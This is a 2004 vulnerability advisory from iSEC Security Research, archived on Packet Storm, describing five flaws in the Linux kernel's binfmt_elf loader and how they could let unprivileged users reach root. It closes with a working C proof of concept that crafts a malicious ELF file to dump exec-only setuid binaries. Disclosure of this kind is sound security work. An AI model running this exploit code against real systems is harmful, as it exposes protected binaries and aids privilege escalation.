binfmt_elf.txt

2004-11-12T00:00:00
ID PACKETSTORM:35005
Type packetstorm
Reporter Paul Starzetz
Modified 2004-11-12T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
Synopsis: Linux kernel binfmt_elf loader vulnerabilities  
Product: Linux kernel  
Version: 2.4 up to to and including 2.4.27, 2.6 up to to and  
including 2.6.8  
Vendor: http://www.kernel.org/  
URL: http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt  
CVE: not assigned  
Author: Paul Starzetz <ihaquer@isec.pl>  
Date: Nov 10, 2004  
  
  
Issue:  
======  
  
Numerous bugs have been found in the Linux ELF binary loader while  
handling setuid binaries.  
  
  
Details:  
========  
  
On Unix like systems the execve(2) system call provides functionality to  
replace the current process by a new one (usually found in binary form  
on the disk) or in other words to execute a new program.  
  
Internally the Linux kernel uses a binary format loader layer to  
implement the low level format dependend functionality of the execve()  
system call. The common execve code contains just few helper functions  
used to load the new binary and leaves the format specific work to a  
specialized binary format loader.  
  
One of the Linux format loaders is the ELF (Executable and Linkable  
Format) loader. Nowadays ELF is the standard format for Linux binaries  
besides the a.out binary format, which is not used in practice anymore.  
  
One of the functions of a binary format loader is to properly handle  
setuid executables, that is executables with the setuid bit set on the  
file system image of the executable. It allows execution of programs  
under a different user ID than the user issuing the execve call but is  
some lacy work from security point of view.  
  
Every ELF binary contains an ELF header defining the type and the layout  
of the program in memory as well as addition sections (like which  
program interpreter to load, symbot table, etc). The ELF header normally  
contains information about the entry point (start address) of the binary  
and the position of the memory map header (phdr) in the binary image and  
the program interpreter (that is normally the dynamic linker ld-  
linux.so). The memory map header definies the memory mapping of the  
executable file that can be seen later from /proc/self/maps.  
  
We have indentified 5 different flaws in the Linux ELF binary loader  
(linux/fs/binfmt_elf.c all line numbers for 2.4.27):  
  
  
1) wrong return value check while filling kernel buffers (loop to scan  
the binary header for an interpreter section):  
  
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)  
{  
size = elf_ex.e_phnum * sizeof(struct elf_phdr);  
elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);  
if (!elf_phdata)  
goto out;  
  
477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);  
if (retval < 0)  
goto out_free_ph;  
  
The above code looks good on the first glance, however checking the  
return value of kernel_read (which calls file->f_op->read) to be non-  
negative is not sufficient since a read() can perfectly return less than  
the requested buffer size bytes. This bug happens also on lines 301,  
523, 545 respectively.  
  
  
2) incorrect on error behaviour, if the mmap() call fails (loop to mmap  
binary sections into memory):  
  
645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {  
684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);  
if (BAD_ADDR(error))  
continue;  
  
  
3) bad return value vulnerability while mapping the program intrepreter  
into memory:  
  
301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);  
error = retval;  
if (retval < 0)  
goto out_close;  
  
eppnt = elf_phdata;  
for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {  
map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);  
322: if (BAD_ADDR(map_addr))  
goto out_close;  
out_close:  
kfree(elf_phdata);  
out:  
return error;  
}  
  
  
4) the loaded interpreter section can contain an interpreter name string  
without the terminating NULL:  
  
508: for (i = 0; i < elf_ex.e_phnum; i++) {  
518: elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,  
GFP_KERNEL);  
if (!elf_interpreter)  
goto out_free_file;  
  
retval = kernel_read(bprm->file, elf_ppnt->p_offset,  
elf_interpreter,  
elf_ppnt->p_filesz);  
if (retval < 0)  
goto out_free_interp;  
  
  
5) bug in the common execve() code in exec.c: vulnerability in  
open_exec() permitting reading of non-readable ELF binaries, which can  
be triggered by requesting the file in the ELF PT_INTERP section:  
  
541: interpreter = open_exec(elf_interpreter);  
retval = PTR_ERR(interpreter);  
if (IS_ERR(interpreter))  
goto out_free_interp;  
retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);  
  
  
Discussion:  
=============  
  
1) The Linux man pages state that a read(2) can return less than the  
requested number of bytes, even zero. It is not clear how this can  
happen while reading a disk file (in contrast to network sockets),  
however here some thoughts:  
  
- - if we trick read to fill the elf_phdata buffer with less than size  
bytes, the remaining part of the buffer will contain some garbage data,  
that is data from the previous kernel object, which occupied that memory  
area.  
  
Therefore we could arbitrarily modify the memory layout of the binary  
supplying a suitable header information in the kernel buffer. This  
should be sufficient to gain controll over the flow of execution for  
most of the setuid binaries around.  
  
- - on Linux a disk read goes through the page cache. That is, a disk read  
can easily fail on a page boundary due to a low memory condition. In  
this case read will return less than the requested number of bytes but  
still indicate success (ret>0).  
  
- - most of the standard setuid binaries on a 'normal' i386 Linux  
installation have ELF headers stored below the 4096th byte, therefore  
they are probably not exploitable on i386 architecture.  
  
  
2) This bug can lead to a incorrectly mmaped binary image in the memory.  
There are various reasons why a mmap() call can fail:  
  
- - a temporary low memory condition, so that the allocation of a new VMA  
descriptor fails  
  
- - memory limit (RLIMIT_AS) excedeed, which can be easily manpipulated  
before calling execve()  
  
- - file locks held for the binary file in question  
  
Security implications in the case of a setuid binary are quite obvious:  
we may end up with a binary without the .text or .bss section or with  
those sections shifted (in the case they are not 'fixed' sections). It  
is not clear which standard binaries are exploitable however it is  
sufficient that at some point we come over some instructions that jump  
into the environment area due to malformed memory layout and gain full  
controll over the setuid application.  
  
  
3) This bug is similar to 2) however the code incorrectly returns the  
kernel_read status to the calling function on mmap failure which will  
assume that the program interpreter has been loaded. That means that the  
kernel will start the execution of the binary file itself instead of  
calling the program interpreter (linker) that have to finish the binary  
loading from user space.  
  
We have found that standard Linux (i386, GCC 2.95) setuid binaries  
contain code that will jump to the EIP=0 address and crash (since there  
is no virtual memory mapped there), however this may vary from binary to  
binary as well from architecture to architecture and may be easily  
exploitable.  
  
  
4) This bug leads to internal kernel file system functions beeing called  
with an argument string exceeding the maximum path size in length  
(PATH_MAX). It is not clear if this condition is exploitable.  
  
An user may try to execute such a malicious binary with an unterminated  
interpreter name string and trick the kernel memory manager to return a  
memory chunk for the elf_interpreter variable followed by a suitable  
longish path name (like ./././....). Our experiments show that it can  
lead to a preceivable system hang.  
  
  
5) This bug is similar to the shared file table race [1]. We give a  
proof-of-concept code at the end of this article that just core dumps  
the non-readable but executable ELF file.  
  
An user may create a manipulated ELF binary that requests a non-readable  
but executable file as program intrepreter and gain read access to the  
privileged binary. This works only if the file is a valid ELF image  
file, so it is not possible to read a data file that has the execute bit  
set but the read bit cleared. A common usage would be to read exec-only  
setuid binaries to gain offsets for further exploitation.  
  
  
Impact:  
=======  
  
Unprivileged users may gain elevated (root) privileges.  
  
  
Credits:  
========  
  
Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and  
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF  
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF  
ONE OF THE AUTHORS.  
  
  
Disclaimer:  
===========  
  
This document and all the information it contains are provided "as is",  
for educational purposes only, without warranty of any kind, whether  
express or implied.  
  
The authors reserve the right not to be responsible for the topicality,  
correctness, completeness or quality of the information provided in  
this document. Liability claims regarding damage caused by the use of  
any information provided, including any kind of information which is  
incomplete or incorrect, will therefore be rejected.  
  
  
Appendix:  
=========  
  
/*  
*  
* binfmt_elf executable file read vulnerability  
*  
* gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump  
*  
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.  
*  
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"  
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION  
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.  
*  
*/  
  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <fcntl.h>  
#include <unistd.h>  
  
#include <sys/types.h>  
#include <sys/resource.h>  
#include <sys/wait.h>  
  
#include <linux/elf.h>  
  
  
#define BADNAME "/tmp/_elf_dump"  
  
  
  
void usage(char *s)  
{  
printf("\nUsage: %s executable\n\n", s);  
exit(0);  
}  
  
// ugly mem scan code :-)  
static volatile void bad_code(void)  
{  
__asm__(  
// "1: jmp 1b \n"  
" xorl %edi, %edi \n"  
" movl %esp, %esi \n"  
" xorl %edx, %edx \n"  
" xorl %ebp, %ebp \n"  
" call get_addr \n"  
  
" movl %esi, %esp \n"  
" movl %edi, %ebp \n"  
" jmp inst_sig \n"  
  
"get_addr: popl %ecx \n"  
  
// sighand  
"inst_sig: xorl %eax, %eax \n"  
" movl $11, %ebx \n"  
" movb $48, %al \n"  
" int $0x80 \n"  
  
"ld_page: movl %ebp, %eax \n"  
" subl %edx, %eax \n"  
" cmpl $0x1000, %eax \n"  
" jle ld_page2 \n"  
  
// mprotect  
" pusha \n"  
" movl %edx, %ebx \n"  
" addl $0x1000, %ebx \n"  
" movl %eax, %ecx \n"  
" xorl %eax, %eax \n"  
" movb $125, %al \n"  
" movl $7, %edx \n"  
" int $0x80 \n"  
" popa \n"  
  
"ld_page2: addl $0x1000, %edi \n"  
" cmpl $0xc0000000, %edi \n"  
" je dump \n"  
" movl %ebp, %edx \n"  
" movl (%edi), %eax \n"  
" jmp ld_page \n"  
  
"dump: xorl %eax, %eax \n"  
" xorl %ecx, %ecx \n"  
" movl $11, %ebx \n"  
" movb $48, %al \n"  
" int $0x80 \n"  
" movl $0xdeadbeef, %eax \n"  
" jmp *(%eax) \n"  
  
);  
}  
  
  
static volatile void bad_code_end(void)  
{  
}  
  
  
int main(int ac, char **av)  
{  
struct elfhdr eh;  
struct elf_phdr eph;  
struct rlimit rl;  
int fd, nl, pid;  
  
if(ac<2)  
usage(av[0]);  
  
// make bad a.out  
fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);  
nl = strlen(av[1])+1;  
memset(&eh, 0, sizeof(eh) );  
  
// elf exec header  
memcpy(eh.e_ident, ELFMAG, SELFMAG);  
eh.e_type = ET_EXEC;  
eh.e_machine = EM_386;  
eh.e_phentsize = sizeof(struct elf_phdr);  
eh.e_phnum = 2;  
eh.e_phoff = sizeof(eh);  
write(fd, &eh, sizeof(eh) );  
  
// section header(s)  
memset(&eph, 0, sizeof(eph) );  
eph.p_type = PT_INTERP;  
eph.p_offset = sizeof(eh) + 2*sizeof(eph);  
eph.p_filesz = nl;  
write(fd, &eph, sizeof(eph) );  
  
memset(&eph, 0, sizeof(eph) );  
eph.p_type = PT_LOAD;  
eph.p_offset = 4096;  
eph.p_filesz = 4096;  
eph.p_vaddr = 0x0000;  
eph.p_flags = PF_R|PF_X;  
write(fd, &eph, sizeof(eph) );  
  
// .interp  
write(fd, av[1], nl );  
  
// execable code  
nl = &bad_code_end - &bad_code;  
lseek(fd, 4096, SEEK_SET);  
write(fd, &bad_code, 4096);  
close(fd);  
  
// dump the shit  
rl.rlim_cur = RLIM_INFINITY;  
rl.rlim_max = RLIM_INFINITY;  
if( setrlimit(RLIMIT_CORE, &rl) )  
perror("\nsetrlimit failed");  
fflush(stdout);  
pid = fork();  
if(pid)  
wait(NULL);  
else  
execl(BADNAME, BADNAME, NULL);  
  
printf("\ncore dumped!\n\n");  
unlink(BADNAME);  
  
return 0;  
}  
  
- --   
Paul Starzetz  
iSEC Security Research  
http://isec.pl/  
  
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